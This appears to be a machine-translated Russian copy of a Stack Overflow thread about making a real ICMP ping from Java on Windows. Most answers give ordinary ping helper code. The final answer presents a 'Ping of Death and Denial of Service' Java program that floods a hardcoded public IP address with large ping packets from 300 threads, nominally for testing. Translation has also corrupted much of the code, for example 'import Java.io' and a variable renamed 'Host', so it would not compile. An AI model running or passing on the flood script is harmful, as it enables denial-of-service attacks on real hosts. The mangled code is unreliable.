it-swarm.com.ru

Как сделать настоящий пинг Java из Windows?

У меня есть устройство в сети, которое я пытаюсь пропинговать через программу Java. Через мою команду Windows Prompt я могу проверить адрес устройства в порядке и выполнить трассировку адреса.

В сети я видел, что для выполнения ping через Java вам нужно сделать следующее:

InetAddress.getByName(address).isReachable(timeout);

Но когда я использую этот код в адресе своего устройства, он всегда возвращает false в моей программе. Я использую правильный адрес IPv4 с хорошим значением времени ожидания. Кроме того, если я использую адрес localhost, он работает нормально.

Почему я могу пропинговать устройство через cmd, а не через мою программу? Я слышал в разных местах, что это не правда пинг.

Есть ли лучший способ эмулировать пинг в Java?

Спасибо

28
Stephen Watkins

isReachable() будет использовать ICMP ECHO REQUESTs , если привилегия может быть получена, в противном случае он попытается установить соединение TCP через порт 7 (Echo) хоста назначения.
Таким образом, ваша проблема, вероятно, заключается в проблеме конфигурации, когда недостаточно разрешений для этого на клиентском компьютере, или проблема с портом 7 на сервере, если у вашего клиента нет разрешения на выполнение ICMP ECHO REQUEST. Вероятно, в обоих случаях вам нужно решить одну или другую сторону, чтобы заставить это работать.

Я протестировал следующее на клиентах OSX и Linux, и оно работает при тестировании на доступность других машин с OSX, Linux и Windows Server. У меня нет машины с Windows, чтобы запустить это как клиент.

import Java.io.IOException;
import Java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress Host = InetAddress.getByName(args[0]);
        System.out.println("Host.isReachable(1000) = " + Host.isReachable(1000));
    }
}

из того, что я прочитал здесь . Это, очевидно, ограничение Windows, и ICMP PING не поддерживается в Windows как системный вызов, предшествующий Windows 2000, поэтому по умолчанию он пытается подключиться к порту 7, и он заблокирован на машине, к которой вы пытаетесь «добраться». Java пока не поддерживает новый системный вызов. Назначение разрешений предназначено для систем на основе Unix, так как они требуют, чтобы root отправлял пакеты ICMP.

Если вы хотите свернуть свой собственный родной Windows JNIICMP PING для Windows 2000 и новее, есть функция IcmpSendEcho .

27
user177800

Я использую эту функцию (из этой статьи ), когда мне нужен настоящий ICMP-пинг в Windows, Linux и OSX (я не тестировал другие системы). 

public static boolean isReachableByPing(String Host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + Host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + Host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
9
Mattias Ohlsson

Немного поздно, но я наткнулся на это, пытаясь сделать то же самое.

Один из обходных путей, который работал для меня и который я использовал, состоял в том, чтобы просто использовать команду ping напрямую.

    public static boolean ping(String Host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", Host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
2
bluphoenix

Я видел много плохого кода, написанного на эту тему. Код, который работал для меня это (сайт не знает, как правильно проанализировать мой файл кода): 

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
1
Adrian

Для простого пинга из Java без привилегий я использую http://www.icmp4j.org

Это очень легко использовать:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
1
iLoveCode

Одна из причин заключается в том, что указанное вами время ожидания слишком мало. У меня была похожая проблема, но когда я увеличил время ожидания до подходящего значения, вызов isReachable вернул правильное значение.

1
Nerrve

Использование этого не поможет в случае проверки связи с общедоступными IP-адресами с помощью Windows-машины:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Примечание. В документации указано, что:

Типичная реализация будет использовать ICMP ECHO REQUESTs, если privilege можно получить, в противном случае он попытается установить соединение TCP на порту 7 (Echo) хоста назначения.

Я пробовал это, но результаты не были точными.

Что действительно сработало для меня, так это класс, написанный нашим коллегой-пользователем, который отправляет true ICMP ping и возвращает true или false в зависимости от статуса IP.

Нечетная проблема InetAddress.isReachable ()

0
Abdelsalam Shahlol

Следующий код Java является примером Ping of Death и отказа в обслуживании с использованием Microsoft Windows. Это должно использоваться в целях тестирования для создания защиты от взлома и/или тестирования производительности сайта в случае подобных кибератак.

// BEGIN Ping of Death and Denial of Service 
import Java.awt.AWTException;
import Java.io.BufferedReader;
import Java.io.IOException;
import Java.io.InputStreamReader;
import Java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

Когда испытания завершены. Возможно, вы захотите использовать следующий код для очистки процессов в диспетчере задач.

import Java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
0
QA Specialist